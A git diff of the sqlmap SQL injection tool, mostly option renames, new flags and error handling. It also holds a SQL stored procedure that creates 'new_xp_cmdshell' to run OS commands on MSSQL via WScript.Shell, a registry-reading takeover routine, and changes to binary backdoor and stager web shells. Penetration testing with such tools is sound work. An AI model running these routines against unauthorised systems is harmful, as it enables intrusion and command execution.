if not conf.db: + errMsg = "unable to retrieve the current " + errMsg += "database name" + raise SqlmapNoneDataException(errMsg) + elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() @@ -393,10 +402,13 @@ class Databases: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() - colList = conf.col.split(",") + colList = conf.col.split(',') else: colList = [] + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -425,8 +437,7 @@ class Databases: errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) - for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: @@ -450,7 +461,7 @@ class Databases: resumeAvailable = True break - if resumeAvailable or colList: + if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: @@ -549,6 +560,19 @@ class Databases: name = safeSQLIdentificatorNaming(columnData[0]) if name: + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].column_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + if len(columnData) == 1: columns[name] = None else: @@ -592,7 +616,7 @@ class Databases: infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -661,6 +685,19 @@ class Databases: column = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(column): + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].column_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) @@ -709,9 +746,6 @@ class Databases: pushValue(conf.tbl) pushValue(conf.col) - conf.db = None - conf.tbl = None - conf.col = None kb.data.cachedTables = {} kb.data.cachedColumns = {} @@ -738,6 +772,9 @@ class Databases: return kb.data.cachedColumns def _tableGetCount(self, db, table): + if not db or not table: + return None + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): db = db.upper() table = table.upper() diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index bc56d2864..628f01049 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -42,6 +42,7 @@ from lib.core.settings import NULL from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable +from lib.utils.pivotdumptable import whereQuery class Entries: """ @@ -64,7 +65,7 @@ class Entries: conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.isDbms(DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: @@ -122,6 +123,17 @@ class Entries: columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + + if not colList: + warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + warnMsg += " (no usable column names)" + logger.warn(warnMsg) + continue + colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table @@ -135,7 +147,7 @@ class Entries: for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: - colString = re.sub(r"\b%s\b" % column, _, colString) + colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 @@ -164,6 +176,8 @@ class Entries: else: query = rootQuery.inband.query % (colString, conf.db, tbl) + query = whereQuery(query) + if not entries and query: entries = inject.getValue(query, blind=False, time=False, dump=True) @@ -215,6 +229,8 @@ class Entries: else: query = rootQuery.blind.count % (conf.db, tbl) + query = whereQuery(query) + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} @@ -289,6 +305,8 @@ class Entries: elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + query = whereQuery(query) + value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value @@ -319,12 +337,17 @@ class Entries: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} - attackDumpedTable() + try: + attackDumpedTable() + except (IOError, OSError), ex: + errMsg = "an error occurred while attacking " + errMsg += "table dump ('%s')" % ex + logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) - except SqlmapConnectionException, e: - errMsg = "connection exception detected in dumping phase: " - errMsg += "'%s'" % e + except SqlmapConnectionException, ex: + errMsg = "connection exception detected in dumping phase " + errMsg += "('%s')" % ex logger.critical(errMsg) finally: @@ -420,7 +443,12 @@ class Entries: continue conf.tbl = table - conf.col = ",".join(column for column in filter(None, sorted(columns))) + colList = filter(None, sorted(columns)) + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + + conf.col = ",".join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index a537dd469..23826f7e7 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index 82367c5ec..b069eabfe 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -10,6 +10,7 @@ import os from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import Backend +from lib.core.common import checkFile from lib.core.common import decloakToTemp from lib.core.common import decodeHexValue from lib.core.common import isNumPosStrValue @@ -38,7 +39,7 @@ class Filesystem: def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): - lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % remoteFile + lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid @@ -66,20 +67,20 @@ class Filesystem: if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file %s and the remote file " % localFile - infoMsg += "%s has the same size" % remoteFile + infoMsg += "%s have the same size (%db)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: - infoMsg = "the remote file %s is larger than " % remoteFile - infoMsg += "the local file %s" % localFile + infoMsg = "the remote file %s is larger (%db) than " % (remoteFile, remoteFileSize) + infoMsg += "the local file %s (%db)" % (localFile, localFileSize) else: - infoMsg = "the remote file %s is smaller than " % remoteFile - infoMsg += "file '%s' (%d bytes)" % (localFile, localFileSize) + infoMsg = "the remote file %s is smaller (%db) than " % (remoteFile, remoteFileSize) + infoMsg += "file %s (%db)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False - warnMsg = "it looks like the file has not been written, this " - warnMsg += "can occur if the DBMS process' user has no write " - warnMsg += "privileges in the destination path" + warnMsg = "it looks like the file has not been written (usually " + warnMsg += "occurs if the DBMS process' user has no write " + warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile @@ -256,6 +257,8 @@ class Filesystem: def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): written = False + checkFile(localFile) + self.checkDbmsOs() if localFile.endswith('_'): diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index 8bddb41f9..87bfc655c 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index df72e771e..108c55943 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -162,7 +162,7 @@ class Miscellaneous: inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) if Backend.isDbms(DBMS.MSSQL): - return + udfDict = {"master..new_xp_cmdshell": None} if udfDict is None: udfDict = self.sysUdfs diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 8ffcb99c5..1a4a5b02b 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -261,7 +261,7 @@ class Search: if tblConsider == "2": continue else: - for db in conf.db.split(","): + for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundTbls: foundTbls[db] = [] @@ -349,7 +349,7 @@ class Search: elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: - regex = "|".join(conf.col.split(",")) + regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " @@ -368,6 +368,10 @@ class Search: infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition @@ -497,7 +501,7 @@ class Search: if db not in foundCols[column]: foundCols[column][db] = [] else: - for db in conf.db.split(","): + for db in conf.db.split(",") if conf.db else (self.getCurrentDb(),): db = safeSQLIdentificatorNaming(db) if db not in foundCols[column]: foundCols[column][db] = [] diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index fdca75924..42a67bd9d 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 7e5ff3e7c..d3a782fcb 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -336,12 +336,9 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " - inp = readInput(msg, default="N") + choice = readInput(msg, default="N") - if inp and inp[0].lower() == "y": - dos = True - else: - dos = False + dos = choice and choice[0].lower() == "y" if dos: self.initEnv(mandatory=False, detailed=True) @@ -372,7 +369,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): self._regInit() if not conf.regKey: - default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" + default = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" msg = "which registry key do you want to read? [%s] " % default regKey = readInput(msg, default=default) else: diff --git a/plugins/generic/users.py b/plugins/generic/users.py index ca3b0594f..41081dac1 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -101,7 +101,11 @@ class Users: values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - kb.data.cachedUsers = arrayizeValue(values) + kb.data.cachedUsers = [] + for value in arrayizeValue(values): + value = unArrayizeValue(value) + if not isNoneValue(value): + kb.data.cachedUsers.append(value) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" @@ -114,7 +118,9 @@ class Users: count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - if not isNumPosStrValue(count): + if count == 0: + return kb.data.cachedUsers + elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) @@ -294,7 +300,7 @@ class Users: if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (most probably because the session " + errMsg += "database users (probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" logger.error(errMsg) @@ -389,6 +395,9 @@ class Users: else: privilege = value[count] + if privilege is None: + continue + # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): @@ -415,17 +424,18 @@ class Users: elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] - privs = privs[1] - privs = list(privs.strip()) - i = 1 + if len(privs) > 1: + privs = privs[1] + privs = list(privs.strip()) + i = 1 - for priv in privs: - if priv.upper() in ("Y", "G"): - for position, db2Priv in DB2_PRIVS.items(): - if position == i: - privilege += ", " + db2Priv + for priv in privs: + if priv.upper() in ("Y", "G"): + for position, db2Priv in DB2_PRIVS.items(): + if position == i: + privilege += ", " + db2Priv - i += 1 + i += 1 privileges.add(privilege) @@ -436,7 +446,7 @@ class Users: if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: - conditionChar = " LIKE " + conditionChar = "LIKE" else: conditionChar = "=" @@ -506,8 +516,12 @@ class Users: query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) + privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if privilege is None: + continue + # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: diff --git a/procs/mssqlserver/create_new_xp_cmdshell.sql b/procs/mssqlserver/create_new_xp_cmdshell.sql index 913f368c1..005730860 100644 --- a/procs/mssqlserver/create_new_xp_cmdshell.sql +++ b/procs/mssqlserver/create_new_xp_cmdshell.sql @@ -1,3 +1,3 @@ DECLARE @%RANDSTR% nvarchar(999); -set @%RANDSTR%='CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; +set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR% diff --git a/shell/backdoor.asp_ b/shell/backdoor.asp_ index 720f13de6..d126faee7 100644 Binary files a/shell/backdoor.asp_ and b/shell/backdoor.asp_ differ diff --git a/shell/backdoor.aspx_ b/shell/backdoor.aspx_ index 178c1185a..af7f6d584 100644 Binary files a/shell/backdoor.aspx_ and b/shell/backdoor.aspx_ differ diff --git a/shell/backdoor.jsp_ b/shell/backdoor.jsp_ index 60f80dabf..ef32603bb 100644 Binary files a/shell/backdoor.jsp_ and b/shell/backdoor.jsp_ differ diff --git a/shell/backdoor.php_ b/shell/backdoor.php_ index 7953ba9ce..172dd5f22 100644 Binary files a/shell/backdoor.php_ and b/shell/backdoor.php_ differ diff --git a/shell/runcmd.exe_ b/shell/runcmd.exe_ index 109987ea1..5e0d05a99 100644 Binary files a/shell/runcmd.exe_ and b/shell/runcmd.exe_ differ diff --git a/shell/stager.asp_ b/shell/stager.asp_ index 377109575..75a64c1fc 100644 Binary files a/shell/stager.asp_ and b/shell/stager.asp_ differ diff --git a/shell/stager.aspx_ b/shell/stager.aspx_ index d160e68fb..54d565039 100644 Binary files a/shell/stager.aspx_ and b/shell/stager.aspx_ differ diff --git a/shell/stager.jsp_ b/shell/stager.jsp_ index 730a13751..0aa088601 100644 Binary files a/shell/stager.jsp_ and b/shell/stager.jsp_ differ diff --git a/shell/stager.php_ b/shell/stager.php_ index 763e892d1..64f8eacab 100644 Binary files a/shell/stager.php_ and b/shell/stager.php_ differ diff --git a/sqlmap.conf b/sqlmap.conf index f88d4cb15..0fc5fb728 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -18,6 +18,9 @@ url = # 'conversations/' folder path logFile = +# Scan multiple targets enlisted in a given textual file +bulkFile = + # Load HTTP request from a file # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = @@ -29,36 +32,46 @@ requestFile = # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = +# Parse target(s) from remote sitemap(.xml) file. +# Example: http://192.168.1.121/sitemap.xml +sitemapUrl = + # These options can be used to specify how to connect to the target URL. [Request] +# Force usage of given HTTP method (e.g. PUT). +method = + # Data string to be sent through POST. data = -# Character used for splitting cookie values -pDel = +# Character used for splitting parameter values. +paramDel = -# HTTP Cookie header. +# HTTP Cookie header value. cookie = -# File containing cookies in Netscape/wget format +# Character used for splitting cookie values. +cookieDel = + +# File containing cookies in Netscape/wget format. loadCookies = -# Ignore Set-Cookie header from response +# Ignore Set-Cookie header from response. # Valid: True or False dropSetCookie = False -# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value -# at each HTTP request +# HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value +# at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = -# Use randomly selected HTTP User-Agent header +# Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False -# HTTP Host header. +# HTTP Host header value. host = # HTTP Referer header. Useful to fake the HTTP Referer header value at @@ -72,29 +85,32 @@ headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9 # HTTP Authentication type. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. -# Valid: Basic, Digest, NTLM or Cert -aType = +# Valid: Basic, Digest, NTLM or PKI +authType = # HTTP authentication credentials. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Syntax: username:password -aCred = +authCred = -# HTTP Authentication certificate. Useful only if the target URL requires -# logon certificate and you have such data. -# Syntax: key_file,cert_file -aCert = +# HTTP Authentication PEM private key. Useful only if the target URL requires +# PKI authentication and you have such data. +# Syntax: key_file +authPrivate = -# Use a HTTP proxy to connect to the target URL. -# Syntax: http://address:port +# Use a proxy to connect to the target URL. +# Syntax: (http|https|socks4|socks5)://address:port proxy = -# HTTP proxy authentication credentials. Useful only if the proxy requires -# HTTP Basic or Digest authentication and you have such data. +# Proxy authentication credentials. Useful only if the proxy requires +# Basic or Digest authentication and you have such data. # Syntax: username:password -pCred = +proxyCred = -# Ignore system default HTTP proxy. +# Load proxy list from a file +proxyFile = + +# Ignore system default proxy settings. # Valid: True or False ignoreProxy = False @@ -134,17 +150,30 @@ rParam = # URL address to visit frequently during testing. # Example: http://192.168.1.121/index.html -safUrl = +safeUrl = + +# POST data to send to a safe URL. +# Example: username=admin&password=passw0rd! +safePost = + +# Load safe HTTP request from a file. +safeReqFile = # Test requests between two visits to a given safe URL (default 0). # Valid: integer # Default: 0 -saFreq = 0 +safeFreq = 0 # Skip URL encoding of payload data # Valid: True or False skipUrlEncode = False +# Parameter used to hold anti-CSRF token +csrfToken = + +# URL address to visit to extract anti-CSRF token +csrfUrl = + # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False @@ -193,6 +222,10 @@ testParameter = # Skip testing for given parameter(s). skip = +# Skip testing parameters that not appear dynamic. +# Valid: True or False +skipStatic = False + # Force back-end DBMS to this value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. @@ -224,6 +257,10 @@ invalidBignum = False # Valid: True or False invalidLogical = False +# Use random strings for invalidating values. +# Valid: True or False +invalidString = False + # Turn off payload casting mechanism # Valid: True or False noCast = False @@ -256,7 +293,7 @@ level = 1 # Risk of tests to perform. # Note: boolean-based blind SQL injection tests with AND are considered # risk 1, with OR are considered risk 3. -# Valid: Integer between 0 and 3 +# Valid: Integer between 1 and 3 # Default: 1 risk = 1 @@ -429,15 +466,25 @@ dumpAll = False # Valid: True or False search = False +# Retrieve back-end database management system comments. +# Valid: True or False +getComments = False + # Back-end database management system database to enumerate. db = -# Back-end database management system database table to enumerate. +# Back-end database management system database table(s) to enumerate. tbl = -# Back-end database management system database table column to enumerate. +# Back-end database management system database table column(s) to enumerate. col = +# Back-end database management system database table column(s) to not enumerate. +excludeCol = + +# Use WHERE condition while table dumping (e.g. "id=1"). +dumpWhere = + # Back-end database management system database user to enumerate. user = @@ -533,11 +580,11 @@ osCmd = # Valid: True or False osShell = False -# Prompt for an out-of-band shell, meterpreter or VNC. +# Prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osPwn = False -# One click prompt for an out-of-band shell, meterpreter or VNC. +# One click prompt for an out-of-band shell, Meterpreter or VNC. # Valid: True or False osSmb = False @@ -611,6 +658,9 @@ charset = # Default: 0 crawlDepth = 0 +# Regexp to exclude pages from crawling (e.g. "logout"). +crawlExclude = + # Delimiting character used in CSV output. # Default: , csvDel = , @@ -641,7 +691,7 @@ freshQueries = False hexConvert = False # Custom output directory path. -oDir = +outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False @@ -668,7 +718,7 @@ updateAll = False # Use short mnemonics (e.g. "flu,bat,ban,tec=EU"). mnemonics = -# Run shell command(s) when SQL injection is found. +# Run host OS command(s) when SQL injection is found. alert = # Set question answers (e.g. "quit=N,follow=N"). @@ -682,10 +732,6 @@ beep = False # Valid: True or False checkPayload = False -# Heuristically check for WAF/IPS/IDS protection. -# Valid: True or False -checkWaf = False - # Clean up the DBMS from sqlmap specific UDF and tables. # Valid: True or False cleanup = False @@ -703,7 +749,7 @@ disableColoring = False # Default: 1 googlePage = 1 -# Make a through testing for a WAF/IPS/IDS protection. +# Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False identifyWaf = False @@ -715,7 +761,7 @@ mobile = False # Valid: True or False pageRank = False -# Conduct through tests only if positive heuristic(s). +# Conduct thorough tests only if positive heuristic(s). # Valid: True or False smart = False diff --git a/sqlmap.py b/sqlmap.py index 4fdcabc53..81b3e756e 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,7 +9,10 @@ import bdb import inspect import logging import os +import re +import shutil import sys +import tempfile import time import traceback import warnings @@ -21,8 +24,10 @@ from lib.utils import versioncheck # this has to be the first non-standard impo from lib.controller.controller import start from lib.core.common import banner +from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode +from lib.core.common import maskSensitiveData from lib.core.common import setColor from lib.core.common import setPaths from lib.core.common import weAreFrozen @@ -33,6 +38,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.common import unhandledExceptionMessage from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException from lib.core.option import initOptions @@ -56,7 +62,7 @@ def modulePath(): except NameError: _ = inspect.getsourcefile(modulePath) - return os.path.dirname(os.path.realpath(getUnicode(_, sys.getfilesystemencoding()))) + return getUnicode(os.path.dirname(os.path.realpath(_)), sys.getfilesystemencoding()) def main(): """ @@ -80,6 +86,7 @@ def main(): banner() + conf.showTime = True dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True) @@ -101,9 +108,12 @@ def main(): except (SqlmapSilentQuitException, bdb.BdbQuit): pass - except SqlmapBaseException as e: - e = getUnicode(e) - logger.critical(e) + except SqlmapShellQuitException: + cmdLineOptions.sqlmapShell = False + + except SqlmapBaseException as ex: + errMsg = getUnicode(ex.message) + logger.critical(errMsg) sys.exit(1) except KeyboardInterrupt: @@ -122,12 +132,29 @@ def main(): except: print errMsg = unhandledExceptionMessage() + excMsg = traceback.format_exc() + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file_ = match.group(1) + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + file_ = file_.replace("\\", '/') + file_ = re.sub(r"\.\./", '/', file_).lstrip('/') + excMsg = excMsg.replace(match.group(1), file_) + + errMsg = maskSensitiveData(errMsg) + excMsg = maskSensitiveData(excMsg) + logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL - dataToStdout(setColor(traceback.format_exc())) + dataToStdout(excMsg) + createGithubIssue(errMsg, excMsg) finally: - dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) + if conf.get("showTime"): + dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True) + + if kb.get("tempDir"): + shutil.rmtree(kb.tempDir, ignore_errors=True) kb.threadContinue = False kb.threadException = True @@ -138,12 +165,21 @@ def main(): except KeyboardInterrupt: pass + if cmdLineOptions.get("sqlmapShell"): + cmdLineOptions.clear() + conf.clear() + kb.clear() + main() + if hasattr(conf, "api"): try: conf.database_cursor.disconnect() except KeyboardInterrupt: pass + if conf.get("dumper"): + conf.dumper.flush() + # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if conf.get("threads", 0) > 1 or conf.get("dnsServer"): os._exit(0) diff --git a/sqlmapapi.py b/sqlmapapi.py index f82e92c66..03a2807e7 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -42,3 +42,5 @@ if __name__ == "__main__": server(args.host, args.port) elif args.client is True: client(args.host, args.port) + else: + apiparser.print_help() diff --git a/tamper/__init__.py b/tamper/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index a157bb8ae..78c17f328 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ 